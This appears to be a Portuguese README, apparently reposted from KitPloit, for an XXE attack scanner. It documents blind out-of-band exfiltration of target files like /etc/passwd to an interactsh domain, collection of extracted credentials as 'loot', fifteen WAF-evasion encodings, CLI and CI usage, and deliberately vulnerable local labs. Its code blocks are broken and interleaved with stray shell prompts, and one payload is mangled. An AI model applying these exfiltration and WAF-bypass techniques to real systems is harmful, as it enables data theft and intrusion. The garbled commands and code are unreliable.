    **O modo manual não extrai exfiltração.** No modo manual, o scanner despacha payloads OOB e retorna imediatamente — ele nunca lê a saída do interactsh. O conteúdo exfiltrado é visível no seu terminal do interactsh, não no armazenamento de loot do scanner. Tanto o banner da CLI quanto o executor de jobs da WebUI imprimem um aviso quando a exfiltração está configurada, mas o modo automático está desativado.
    
    ### Modo automático (`--oob-auto`)
    
    O scanner gera o `interactsh-client` como um subprocesso, lê seu fluxo de eventos `-json -v`, extrai o domínio da sessão e correlaciona callbacks em processo. Sem segundo terminal, sem correspondência manual.```bash
    xxeripper https://target.com/api/xml --oob-auto
    # [*] Starting interactsh-client (--oob-auto)...
    # [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
    # [*] Callbacks will be correlated automatically.
    

    Callbacks são impressos em stderr no momento em que chegam:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42

    root@kitploit:~
    A correlação é baseada em token. O scanner gera um token único de 16 hexadecimais por payload, incorpora-o no subdomínio, registra o mapeamento e corresponde os callbacks recebidos pelo token. Um callback cujo subdomínio não contém o token pendente específico para o payload que gerou o subdomínio é descartado, de modo que o tráfego DNS não relacionado não pode ser atribuído incorretamente e um callback lento para a iteração *N* não pode ser atribuído à iteração *N+1*. Um callback correlacionado carrega o peso total de +50 e contribui com um sinal obrigatório — pode promover um achado para CRITICAL por si só (com o requisito de duas famílias satisfeito pela família OOB mais integridade de cadeia ou uma impressão digital).
    
    **Varreduras em lote** compartilham um único processo `interactsh-client` durante toda a execução. Cada alvo recebe sua própria visão `OOBClient` com seu próprio conjunto de tokens, de modo que a atribuição por alvo permanece correta mesmo com `--threads 20`.
    
    **No console web**, marcar *Auto OOB mode* gera um `interactsh-client` compartilhado durante toda a vida do processo do servidor, gerado de forma preguiçosa no primeiro trabalho de auto-OOB e reutilizado depois. Vários trabalhos simultâneos compartilham o domínio, mas mantêm conjuntos de tokens independentes.
    
    ### Exfiltração cega
    
    Por padrão, um achado OOB confirma que a resolução de entidade ocorreu — o callback chegou, e o token prova que era nosso. Ele não recupera o conteúdo do arquivo. Para recuperar conteúdo, o scanner precisa servir o DTD que faz o alvo enviar seu arquivo para a URL de callback.
    
    Três modos de hospedagem de DTD são suportados:
    
    **Servidor DTD integrado** (`--oob-listen HOST:PORT --oob-public-url URL`): o scanner vincula seu próprio servidor HTTP e serve DTDs sob demanda. Melhor para laboratórios de teste, varreduras no mesmo host e qualquer ambiente onde o alvo possa alcançar o endereço do scanner.
    
    **Serviço de DTD baseado em arquivo** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): o scanner grava arquivos DTD em um diretório; você serve esse diretório com nginx, Apache, `python -m http.server` ou qualquer outra coisa. Melhor para alvos remotos reais onde o próprio endereço do scanner não é alcançável.
    
    **Servidor DTD hospedado na WebUI**: marque **Serve DTDs from this WebUI** na gaveta de nova varredura e forneça o prefixo de URL público. O scanner registra DTDs em `/dtd/<token>.dtd` no mesmo processo Flask que executa o console. Sem segundo terminal, sem `python -m http.server`, sem diretório separado. O usuário deve garantir que o alvo possa alcançar o endereço de bind da WebUI — faça o bind com `--host 0.0.0.0` e forneça o IP público ou hostname.
    
    Quando a exfiltração está ativa, os achados `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` e `XXE-CDATA-BYPASS-OOB` carregam o conteúdo do arquivo extraído como loot. O mesmo pipeline `FileContentExtractor` e `CredentialExtractor` que é executado em leituras in-band é executado nos bytes exfiltrados, de modo que uma leitura cega de `/etc/passwd` produz a mesma extração de credenciais e trechos de shell prontos para colar que uma leitura in-band. O conteúdo exfiltrado aparece na aba **Loot** da WebUI, no bloco `exfiltrated` da aba OOB e na seção de loot do relatório HTML.
    
    **Pré-requisito.** O alvo deve ser capaz de alcançar seu servidor DTD. O Interactsh registra callbacks, mas não serve conteúdo, portanto não pode substituir um endpoint HTTP real. Isso é inerente ao funcionamento da exfiltração XXE cega, não uma limitação do scanner.
    
    **O modo manual não exfiltra.** A exfiltração exige que o scanner leia seu próprio fluxo de callbacks, o que só acontece no modo `--oob-auto`. Se você executar o modo manual com `--oob-listen` ou `--oob-dtd-dir`, os DTDs serão servidos, o alvo os buscará, o alvo enviará o conteúdo do arquivo para o interactsh — mas o scanner não o extrairá, porque nunca lê a saída do interactsh. Os dados exfiltrados são visíveis no seu terminal interactsh.
    
    ### Quando usar qual
    
    - **Manual** é o padrão mais seguro. Sem subprocesso, sem handshake criptográfico, e funciona com qualquer implantação do Interactsh, incluindo coordenação totalmente isolada onde o cliente é executado em um host diferente.
    - **Auto** é mais rápido para varreduras em lote e CI. Um comando, sem referência cruzada. Requer `interactsh-client` no `PATH`. Necessário para exfiltração.
    
    **Servidores auto-hospedados** funcionam em ambos os modos sem qualquer alteração do lado do scanner — aponte `interactsh-client` para seu servidor (via sua flag `-s` / `-server`, ou envolvendo o binário em um alias de shell) e, no modo manual, passe o domínio de sessão impresso para `--oob-domain`.
    
    ---
    
    ## Codificação de Bypass de WAF
    
    `--bypass-waf` reenvia todo o catálogo de payloads através de um ou mais codificadores *após* as fases principais serem executadas. Isso testa se um WAF está bloqueando as formas clássicas de payload, mas deixando passar um equivalente transformado — mas o faz sem ocultar os achados diretos por trás da varredura codificada.
    
    Quinze codificadores em três famílias:
    
    **Codificadores de documento** (transformam o fluxo de bytes):
    
    | Nome | Transformação | Notas |
    |---|---|---|
    | `utf16be` | UTF-16 BE com BOM | Deslocamento clássico do fluxo de bytes. A maioria dos WAFs decodifica corpos como UTF-8 e perde os nulls intercalados. |
    | `utf16le` | UTF-16 LE com BOM | Mesmo princípio, endianness oposta. |
    | `utf16decl` | UTF-16 BE com BOM e declaração reescrita | A declaração é atualizada para `encoding="UTF-16"` para que parsers estritos a aceitem. |
    | `utf16nobom` | UTF-16 BE sem BOM, declaração reescrita | Alguns parsers honram a declaração e inferem a endianness; alguns WAFs usam o BOM como sinal de decodificação e ignoram um corpo que não o possui. |
    | `utf32be` | UTF-32 BE com BOM | Menos comumente suportado por WAFs do que UTF-16. |
    | `utf32le` | UTF-32 LE com BOM | O mesmo, endianness oposta. |
    | `ebcdic` | EBCDIC CP037 | Quase nenhum WAF decodifica EBCDIC antes da inspeção. O libxml2 o detecta automaticamente; Xerces e .NET o recusam de forma limpa. |
    | `ucs4_2143` | Ordem de bytes UCS-4 2,1,4,3 | Permutação Unicode TR#17. O padrão de bytes não corresponde a nenhuma assinatura UTF-32 BE/LE, então os WAFs não o decodificam. Mesma ordem que contornou o XmlScanner do PhpSpreadsheet no CVE-2024-47873. |
    | `utf8bom` | UTF-8 com BOM | Marginal, mas gratuito. Derrota regexes ancoradas em `^<?xml`. |
    
    **Codificadores de evasão de palavras-chave** (transformam a declaração de entidade):
    
    | Nome | Transformação | Notas |
    |---|---|---|
    | `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | XML válido. WAFs que só correspondem a `SYSTEM "file://` não o detectam. |
    | `public_charref` | Palavra-chave `SYSTEM` → referências de caracteres hexadecimais dentro de uma declaração `PUBLIC` | Referências de caracteres são expandidas dentro de `PubidLiteral`, mas não dentro de `SystemLiteral`. O parser remonta `SYSTEM` como o ID público; um WAF que corresponde à string literal não o detecta. |
    | `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | Sonda de bypass, não uma primitiva de leitura de arquivo — a entidade resolve para a *string* URI, não para o conteúdo do arquivo. Use-a para confirmar que o WAF pode ser derrotado; combine com um sink em nível de aplicação para extração. |
    
    **Codificadores em nível de gramática** (XML válido, derrotam WAFs preguiçosos):
    
    | Nome | Transformação | Notas |
    |---|---|---|
    | `whitespace_pad` | 512 espaços inseridos na declaração XML | XML permite espaços em branco arbitrários entre pseudo-atributos da declaração. WAFs que inspecionam apenas os primeiros N bytes do corpo veem uma declaração preenchida e nunca alcançam o DOCTYPE. |
    | `doctype_closure` | Comentário chamariz após `]>` | Alguns WAFs analisam o DOCTYPE para localizar seu fim e depois inspecionam o restante. Inserir um comentário XML após `]>` pode enganar esse parser para uma saída antecipada que pula as declarações de entidade. O parser XML ignora o comentário. |
    | `pe_stager` | Declaração de entidade reescrita como uma cadeia de entidades de parâmetro | WAFs veem `<!ENTITY % stage "…"` e `%stage;` mas nunca o URI `SYSTEM "file://…"` em uma única declaração. O parser expande `%stage`, que declara a entidade real. Funciona em qualquer parser que permita entidades de parâmetro no subconjunto interno — Xerces e .NET de imediato; libxml2 apenas se a restrição de PE interno tiver sido removida no momento da compilação. |
    
    Codificadores cuja saída é byte-idêntica à entrada em um determinado payload são ignorados (nenhuma requisição é enviada). Um achado é levantado por combinação sobrevivente (payload × codificador) como `XXE-WAF-BYPASS-<ENCODER>` (ou `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` para famílias OOB), ou, para famílias OOB, apenas quando um callback correlacionado chega.```bash
    # All encoders
    xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
    
    # A targeted subset — the five highest-yield encoders
    xxeripper https://target.com/api/xml \
        --bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
        --oob-auto
    
    # Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
    xxeripper https://target.com/api/xml \
        --bypass-waf utf16be,ebcdic --bypass-waf-include-custom
    

    Ordenação de fases. A fase de bypass de WAF é executada depois das fases principais, não antes. Um alvo que responde a um payload simples SYSTEM "file://" não precisa receber primeiro 1.500 variantes codificadas — as sondagens diretas encontram-no em ~20 pedidos, e a varredura codificada é o fallback para quando estas foram bloqueadas. A fase continua a usar o mesmo catálogo, continua a produzir os mesmos resultados e continua a ser executada quando --bypass-waf está definido; simplesmente não esconde os acertos diretos atrás da varredura.

    Volume de pedidos. Um catálogo de ~100 payloads × 15 codificadores é ~1.500 pedidos por alvo no pior caso. O orçamento de tempo real é o único limitador; a fase verifica o prazo antes de cada envio e aborta de forma limpa. Para alvos grandes, prefira um subconjunto de codificadores nomeado em vez de --bypass-waf all.


    Payloads Personalizados```bash

    Inline

    xxeripper https://target.com/api/xml
    --payload '%p;]>'
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Payload file (separate multiple payloads with a --- line)

    xxeripper https://target.com/api/xml --payload-file my_payloads.xml

    Payload directory

    xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/

    root@kitploit:~
    Cada arquivo é testado contra cada alvo de arquivo. Os achados são atribuídos como `XXE-CUSTOM-<filename>`. Payloads personalizados passam pelo mesmo helper OOB das fases integradas, portanto seus subdomínios e rótulos de técnica aparecem na checklist `[OOB]` (modo manual) ou disparam callbacks correlacionados (modo automático).
    
    **Cookies e integração com Burp:** a prioridade de cookies é inline > arquivo de cookies > requisição Burp. Tanto o formato Netscape-jar quanto o formato `key=value` são suportados. As requisições Burp preservam o método e os cabeçalhos ponta a ponta; cabeçalhos hop-by-hop e `Cookie`/`Content-Type` gerenciados pelo scanner não são encaminhados. O esquema é derivado do cabeçalho `Host`, da linha de versão HTTP e de qualquer cabeçalho `X-Forwarded-Proto` / `Forwarded` / `:scheme` que a requisição carregue. 443/8443/9443/10443/6443/7443/4443 → HTTPS; 80/8000/8008/8080/8088/8888 → HTTP; portas desconhecidas e requisições HTTP/2 → HTTPS por padrão. Hosts IPv6 são analisados corretamente.
    
    **Replay pré-autenticação:** `--pre-auth-request FILE` recebe uma requisição em formato Burp, a reproduz uma vez contra o alvo antes da captura de baseline e mescla quaisquer cabeçalhos `Set-Cookie` no jar. Repetir a flag reproduz múltiplas requisições em ordem, de modo que um fluxo de duas etapas (busca de token CSRF, depois POST de credenciais) funciona. Os cookies de cada replay ficam disponíveis para a próxima requisição da sequência.
    
    **Bypass de WAF com customs:** `--bypass-waf-include-custom` estende a varredura do encoder aos payloads do usuário. Customs que referenciam `{CALLBACK}` ou `{DOMAIN}` são ignorados (um payload OOB codificado não pode ser correlacionado através de um placeholder).
    
    ---
    
    ## Formatos de Saída
    
    ### JSON (schema 1.1)```json
    {
        "schema_version": "1.1",
        "tool": "XXE-Ripper",
        "summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
        "results": [{
            "url": "https://target.com/api/xml",
            "parser_fingerprint": "libxml2",
            "findings": [{
                "id": "XXE-INBAND-FILE-READ-linux-passwd",
                "severity": "CRITICAL",
                "title": "In-band XXE file read: /etc/passwd",
                "confirmed": true,
                "exploitability": "confirmed",
                "cwe": ["CWE-611", "CWE-200"],
                "cwe_descriptions": ["...", "..."],
                "confidence": 85,
                "evidence": {
                    "file_type": "/etc/passwd",
                    "indicators_matched": 4,
                    "score": 85,
                    "loot_id": "file:9a1c...",
                    "extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
                },
                "reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
            }],
            "loot": [{
                "id": "file:9a1c...",
                "kind": "file",
                "source_path": "/etc/passwd",
                "technique": "XXE-INBAND-FILE-READ-linux-passwd",
                "content": "root:x:0:0:...",
                "size": 2841,
                "sha256": "...",
                "credentials": []
            }],
            "loot_counts": { "total": 1, "files": 1, "secrets": 0 },
            "oob_payloads_sent": 7,
            "oob_subdomains": ["xxe-dns-...oast.pro"],
            "oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
        }]
    }
    

    O campo interno skipped_phases é removido do JSON serializado — é apenas registro contábil para o relatório de cobertura do terminal, não uma descoberta.

    SARIF v2.1.0

    Cada ID de descoberta torna-se uma regra SARIF com helpUri apontando para a definição primária do CWE. Cada descoberta torna-se um resultado cujo artifactLocation.uri é a URL alvo. Campos extras (confidence, cwe, reasons, evidence) viajam em result.properties. Mapeamento de severidade: CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.

    Relatório HTML

    --report-html PATH escreve um único arquivo HTML autocontido. Sem links de CDN, sem imagens externas, sem webfonts. Abre em qualquer navegador, renderiza de forma idêntica offline e imprime de forma limpa.

    Seções:

    • Resumo executivo — alvos escaneados, alvos vulneráveis, severidade mais alta, contagem confirmada, contagem de loot.
    • Cadeias de exploração — um cartão por cadeia concluída, com o fluxo de estágios e evidências por etapa.
    • Loot extraído — um cartão por arquivo, com o conteúdo completo e quaisquer credenciais extraídas. Cada credencial mostra seus campos e trechos de shell prontos para colar com botões de cópia individuais.
    • Descobertas por alvo — uma tabela por alvo com severidade, ID, descrição, CWE, motivos e evidências estruturadas.
    • CSS para impressão — o relatório renderiza com estilo de tinta sobre papel em fundo claro quando impresso.

    O console web serve o mesmo relatório HTML inline em /api/jobs/<jid>/report.html (através do botão View HTML) e o baixa de /api/jobs/<jid>/report.html.download (através do botão HTML).

    Vereditos do console

    VereditoSignificado
    [VULNERABLE]Pelo menos uma descoberta com severidade MEDIUM ou superior
    [MANUAL-OOB]Nenhuma descoberta, mas payloads OOB foram enviados (apenas modo manual)
    [INFO-ONLY]Nenhuma descoberta, nenhum payload OOB, mas pelo menos uma fase foi ignorada
    [OK]Nada a reportar, nada ignorado
    [1/3] [VULNERABLE] https://target.com/api/xml
    Parser: libxml2
    [!] 3 phase(s) skipped:
    root@kitploit:~
        - multipart_docx, svg  (no --svg and no upload-shaped URL)
        - dos  (no --unsafe)
    

    [CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd

    root@kitploit:~
    ---
    
    ## Confiabilidade e Cobertura
    
    | Recurso | Comportamento |
    |---|---|
    | Negociação HTTP/2 | `build_session` constrói um `httpx.Client` com `http2=True`. O handshake ALPN negocia HTTP/2 onde o servidor suporta, caindo silenciosamente para HTTP/1.1 caso contrário. Sem configuração por alvo |
    | Isolamento por fase | Cada fase é executada dentro de `_run_phase`, que captura qualquer exceção, registra o traceback sob `--debug`, emite um evento `phase_error` e continua para a próxima fase |
    | Limitação de taxa | `--rate N` impõe um intervalo mínimo de `1/N` segundos entre requisições por alvo, aplicado pela instância compartilhada `RateLimiter` que todo caminho de envio consulta. Independente de `--threads` |
    | Retentativa e backoff | Falhas transitórias (`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`) são retentadas três vezes com backoff de 0.5s, 0.75s, 1.125s |
    | Respeito ao Retry-After | Respeitado em 429 e 503, limitado a 10s |
    | Proteção contra resposta nula em envios OOB | Um envio falho pula a espera de polling em vez de travar o scan |
    | Cache de fingerprint em disco | `~/.cache/xxeripper/fingerprints.json`. Scans repetidos da mesma URL pulam a sequência de 9 sondagens. Delete o arquivo ou passe `--no-fingerprint-cache` para invalidar |
    | Orçamento de tempo real | `--budget SECONDS` — cada fase verifica `ctx.expired()` antes de cada envio e aborta de forma limpa |
    | Cancelamento cooperativo | Uma chamada `ScanContext.cancel()` sinaliza cada fase. O console web expõe isso através do botão **Stop** |
    | Alternância de TLS | A verificação está desativada por padrão para uso em pentest; `--verify-tls` a reativa |
    | Códigos de saída de CI | 0 = limpo, 1 = erro de configuração, 2 = achado igual ou acima de `--fail-on`, 130 = Ctrl-C |
    | Achados thread-safe | `add_finding` é protegido por lock e mescla IDs duplicados no local — aumentando a severidade, aplicando OR em `confirmed`, pegando `max(confidence)`, unindo razões e evidências — em vez de emitir entradas duplicadas. Cada mesclagem e cada novo achado emite um evento para que o console web atualize ao vivo |
    | Estatísticas OOB thread-safe | `OOBClient.stats()` retorna um snapshot bloqueado para que o resumo da CLI leia uma visão consistente mesmo durante uma fase em execução |
    | Loot deduplicado | `LootStore.add_file` e `LootStore.add_secret` usam como chave o SHA-256 do conteúdo. Dois achados que recuperam o mesmo arquivo produzem uma entrada de loot |
    | Relatório de cobertura | Lista de pulos por alvo com razões legíveis por humanos; resumo de fim de scan de alvos com pulos |
    | Cache de fingerprint em CI | Aponte `HOME` para um diretório de cache persistido para economizar 9 requisições por execução. O tamanho do cache é de aproximadamente 1 KB por URL |
    
    O adaptador de retentativa deliberadamente não retenta HTTP 500 — alvos XXE baseados em erro retornam 500 de propósito, e retentar esconde o sinal.
    
    ---
    
    ## Integração CI/CD
    
    ### GitHub Actions```yaml
    - name: XXE scan
      run: xxeripper "$TARGET_URL" --oob-auto \
          --full-file-scan -o results --format both \
          --report-html results.html --fail-on high
    
    - name: Upload SARIF
      if: always()
      uses: github/codeql-action/upload-sarif@v3
      with: { sarif_file: results.sarif, category: xxeripper }
    
    - name: Upload HTML report
      if: always()
      uses: actions/upload-artifact@v4
      with: { name: xxe-report, path: results.html }
    

    GitLab CI```yaml

    xxe-scan: script: - xxeripper "$TARGET_URL" --oob-auto --full-file-scan
    -o report --format both --fail-on medium - cp report.json gl-sast-report.json artifacts: reports: { sast: gl-sast-report.json } paths: [ report.html ] when: always

    root@kitploit:~
    ### Armazenando fingerprints em cache no CI```yaml
    - uses: actions/cache@v4
      with:
        path: ~/.cache/xxeripper
        key: xxeripper-fingerprints-${{ github.ref }}
    

    O tamanho do cache é de aproximadamente 1 KB por URL e permanece estável entre execuções, a menos que o parser do alvo mude.

    OOB automático em CI. --oob-auto requer o interactsh-client no PATH. Em runners hospedados no GitHub, instale-o em uma etapa de setup:```yaml

    • name: Install interactsh-client run: | go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest echo "$HOME/go/bin" >> "$GITHUB_PATH"
    root@kitploit:~
    Se o seu ambiente de CI bloquear DNS de saída para subdomínios arbitrários, use o modo manual com um servidor Interactsh auto-hospedado que o seu pipeline consiga alcançar.
    
    **Exfiltração cega em CI.** Para que o pipeline de exfiltração produza entradas de loot, o runner de CI tem de ser alcançável a partir do alvo. Isso normalmente significa um runner auto-hospedado numa rede que o alvo consiga alcançar, ou `--oob-dtd-dir` combinado com um diretório servido externamente a partir do qual o alvo possa obter conteúdo. O Interactsh por si só não funciona — regista callbacks mas não serve conteúdo.
    
    ---
    
    ## Testar Contra os Labs Incluídos
    
    O XXERipper inclui dois labs de teste locais que executam **parsers vulneráveis reais** nas mesmas configurações que as aplicações em produção usam. Não são mocks — cada um expõe uma técnica específica para que possa verificar que o scanner a deteta corretamente, e cada um inclui endpoints isco para falsos positivos, para que possa verificar que ele *não* reporta em excesso.
    
    Ambos os labs ligam-se a `127.0.0.1` e leem ficheiros locais a pedido, por design. **Nunca os exponha a uma rede que não lhe pertence.**
    
    ### Inventário dos labs
    
    | Lab | Ficheiro | Stack | Porta | O que prova |
    |---|---|---|---|---|
    | Python | `xxe_lab.py` | Flask + lxml → libxml2, httpx (HTTP/1.1 ou HTTP/2 via ALPN) para todas as obtenções de entidades de saída | `127.0.0.1:5000` | 54 endpoints em dez famílias de técnicas, mais contrapartes seguras para cada técnica no âmbito e uma API de veredictos para pontuação automatizada. Serve HTTP por predefinição; TLS via `--https` / `--autocert` |
    | Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | XXE baseado em erros, que o libxml2 moderno bloqueia ao nível do C |
    
    ### Lab Python — `xxe_lab.py`
    
    Instale as dependências do lab (isoladas dos requisitos do próprio scanner):```bash
    # If you install by hand rather than `make lab`:
    pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
    

    O lab puxa httpx[http2] pelo mesmo motivo que o scanner — as buscas de entidades de saída negociam HTTP/2 via ALPN quando o coletor OOB ou o endpoint de metadados o suporta, e recorrem silenciosamente a HTTP/1.1 caso contrário. O Flask de entrada é HTTP/1.1 independentemente.```bash make lab python3 xxe_lab.py

    [*] XXE Test Lab v1 on http://127.0.0.1:5000

    [*] Default mode: realistic (override: X-Lab-Mode header or ?lab_mode=)

    [*] 54 endpoints registered

    [*] Verdicts API: GET /api/verdicts

    [*] Do NOT expose this to untrusted networks.

    root@kitploit:~
    O laboratório expõe **54 endpoints** em três classes de veredito: 36 `vuln`, 17 `safe`, 1 isca `fn`.
    
    ### TLS
    
    O laboratório fala HTTP por padrão. Três flags ativam o TLS:
    
    | Flag | Comportamento |
    |---|---|
    | `--https` | Serve sobre TLS. Reutiliza um certificado autoassinado em cache, se existir em `$TMPDIR/xxe-lab-certs/`, caso contrário gera um com `openssl`. Reutilizar o certificado em cache entre reinicializações mantém estável qualquer fingerprint TLS do lado do scanner. |
    | `--autocert` | Serve sobre TLS com um certificado autoassinado **recém-gerado**. Executa sempre `openssl` e sobrescreve o certificado em cache. Implica `--https`. Mutuamente exclusivo com `--cert` / `--key`. |
    | `--cert PATH` / `--key PATH` | Serve sobre TLS com um par PEM fornecido. Ambos devem ser indicados em conjunto. |
    
    `--host` e `--port` substituem o endereço de bind (padrão `127.0.0.1:5000`); as variáveis de ambiente `FLASK_HOST` e `FLASK_PORT` são respeitadas como padrões.```bash
    python3 xxe_lab.py --autocert --port 8443
    # [*] XXE Test Lab v1 on https://127.0.0.1:8443
    # [*] TLS cert: /tmp/xxe-lab-certs/cert.pem  [generated (fresh)]
    # [*] TLS key:  /tmp/xxe-lab-certs/key.pem
    # [*] Self-signed — scanners must skip cert verification.
    

    O certificado gerado é RSA-2048, 365 dias, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost — sem passphrase. Requer openssl no PATH (OpenSSL 1.1.1+ para -addext). Se precisar de um certificado sem essas restrições, passe --cert / --key em vez disso.

    Dois modos

    O lab tem dois modos de resposta, alternáveis por requisição:

    realistic (padrão) — imita uma aplicação real. Content-Type errado retorna 415, shape errado cai no parser (soft gate) ou retorna um 400 genérico (hard gate). Sem vazamento de motivo. O scanner tem que distinguir "o alvo rejeitou meu payload" de "o alvo aceitou mas não resolveu" usando apenas o shape da resposta.

    scoped — o modo legado determinístico. Todo corpo fora de escopo retorna um 200 out of scope: <reason> estável que não parseia nada. Opt-in para suítes de regressão onde vetos de falso-positivo entre técnicas precisam ser exatos.

    Sobrescreva por requisição com um header ou um parâmetro de query:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic

    root@kitploit:~
    A precedência é header > query param > env default (`XXE_LAB_MODE`).
    
    ### Grupos de endpoints
    
    **Vulnerável sem escopo** — aceita qualquer XML, sempre faz o parse com o parser vulnerável:
    
    | Endpoint | O que ele exercita |
    |---|---|
    | `POST /xml/vulnerable` | Leitura de arquivo in-band, matriz de content-type, integridade da cadeia |
    | `POST /xml/blind` | Parser silencioso — resolve entidades, nunca reflete (somente OOB) |
    | `POST /xml/error` | Canal de erro — retorna tracebacks do parser |
    | `POST /xml/reflect` | Reflete o corpo bruto E faz o parse — exercita o veto de reflexão |
    | `POST /xml/timing` | Dorme quando o payload tem uma entidade SYSTEM externa — blind baseado em timing |
    
    **Vetores in-band e de entrega**, **Envelopes**, **Encodings**, **Inclusion**, **Extended fetchers**, **File formats**, **Parameter entity and metadata**, e **Blind OOB** — a lista completa de endpoints está disponível em <http://127.0.0.1:5000/api/endpoints> ou na própria UI do lab em <http://127.0.0.1:5000/>.
    
    ### Contrapartes seguras
    
    Todo endpoint vulnerável com escopo tem uma contraparte segura que executa a **mesma verificação de escopo**, mas faz o parse com entidades desabilitadas e acesso à rede bloqueado. A nomenclatura é mecânica: `/xml/safe-form` espelha `/xml/form`, `/xml/safe-xslt` espelha `/xml/xslt`, e assim por diante.
    
    Esse design existe para que o veto de falso-positivo entre técnicas do scanner possa ser testado de ponta a ponta. Considere a fase form-encoded: o scanner envia XML form-encoded para todo alvo que ele escaneia. Contra `/xml/form` isso produz um achado se o payload resolver. Contra `/xml/safe-form` o mesmo payload não deve produzir nada. Antes de as contrapartes seguras existirem, um alvo como `/xml/safe` não tinha nenhuma verificação de escopo de campo de formulário, então o payload form-encoded era aceito e processado por um endpoint "seguro" — um falso positivo que não era culpa do scanner, mas também não era distinguível de um.
    
    As contrapartes seguras fecham essa brecha. Existem 13 delas:```
    /xml/safe-form          /xml/safe-query           /xml/safe-svg
    /xml/safe-saml          /xml/safe-soap            /xml/safe-multipart
    /xml/safe-docx          /xml/safe-xinclude        /xml/safe-xinclude-xml
    /xml/safe-xslt          /xml/safe-xsd             /xml/safe-xsd-import
    /xml/safe-pi
    

    Além das quatro iscas de base que não fazem verificações de escopo:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata

    root@kitploit:~
    E uma isca de falso negativo:```
    /xml/silent
    

    Um scanner correto reporta [OK] em todos os dezessete. Qualquer achado neles é um bug do scanner, não um achado.

    Veredictos legíveis por máquina

    O laboratório expõe GET /api/verdicts, um mapa JSON de "<method> <path>" para um de "vuln", "safe" ou "fn":```json { "POST /xml/vulnerable": "vuln", "POST /xml/safe": "safe", "POST /xml/silent": "fn", ... }

    root@kitploit:~
    Este é o hook para pontuação automatizada. Um harness de teste pode capturar os achados do scanner por endpoint, comparar com o mapa de veredictos e calcular precisão e recall sem analisar HTML ou ler metadados de endpoint.
    
    ### Laboratório Java — `xxe_lab.java````bash
    java xxe_lab.java
    # [*] Java XXE lab on http://127.0.0.1:5001
    

    Endpoint único: POST /xml/error. Retorna parsed ok em caso de sucesso, ou XML parse error: <message> em caso de falha — correspondendo a uma aplicação Java vulnerável que registra str(e).

    O laboratório Java continua necessário para a fase de XXE baseada em erros. O libxml2 2.13 e versões posteriores bloqueiam o acesso a DTDs externos por padrão, portanto XXE-ERROR-BASED-MALFORMED não pode ser acionado contra o laboratório Python. O Xerces permite entidades de parâmetro de subconjunto interno e aciona a descoberta sem nenhum DTD local. O laboratório habilita os recursos necessários explicitamente:```java dbf.setFeature("http://xml.org/sax/features/external-general-entities", true); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all"); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");

    root@kitploit:~
    > **Nota:** `ACCESS_EXTERNAL_DTD = ""` (string vazia) significa *negar tudo*, não permitir tudo. Use `"all"` para um parser permissivo.
    
    ### Ataque de DTD local — instalar DTDs no alvo
    
    `error_based_local_dtd` funciona sequestrando um DTD que já existe no sistema de arquivos do alvo. A lista de payloads do scanner referencia cerca de 60 caminhos comuns, mas a técnica não pode ser disparada contra um sistema de arquivos onde nenhum deles está presente — e o scanner corretamente reporta nenhuma descoberta nesse caso.
    
    Instale pacotes de DTD no mesmo host que executa o laboratório Python para que a técnica tenha algo para sequestrar:```bash
    # Fedora / RHEL / CentOS
    sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
    
    # Debian / Ubuntu
    sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
    
    # Arch / Manjaro
    sudo pacman -S docbook-xml docbook-xsl
    

    Windows inclui WMI DTDs (C:\Windows\System32\wbem\xml\) e Office DTDs (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll) por padrão.

    macOS inclui /System/Library/DTDs/PropertyList.dtd e sdef.dtd por padrão.

    Uma nota sobre libxml2 2.13+. O libxml2 moderno apertou ainda mais as regras: um DTD sequestrável deve declarar a entidade de parâmetro por nome, referenciá-la no nível superior e não encadear em módulos com PEs aninhados proibidos. Os arquivos docbookx.dtd do DocBook falham no libxml2 moderno porque incluem dbcentx.mod, que contém PEs aninhados proibidos. fonts.dtd é analisado sem erros, mas não declara as entidades que o scanner tenta sequestrar.

    É por isso que o laboratório Java é o ambiente recomendado para demonstrar XXE baseado em erros.

    Executando a suíte de testes completa

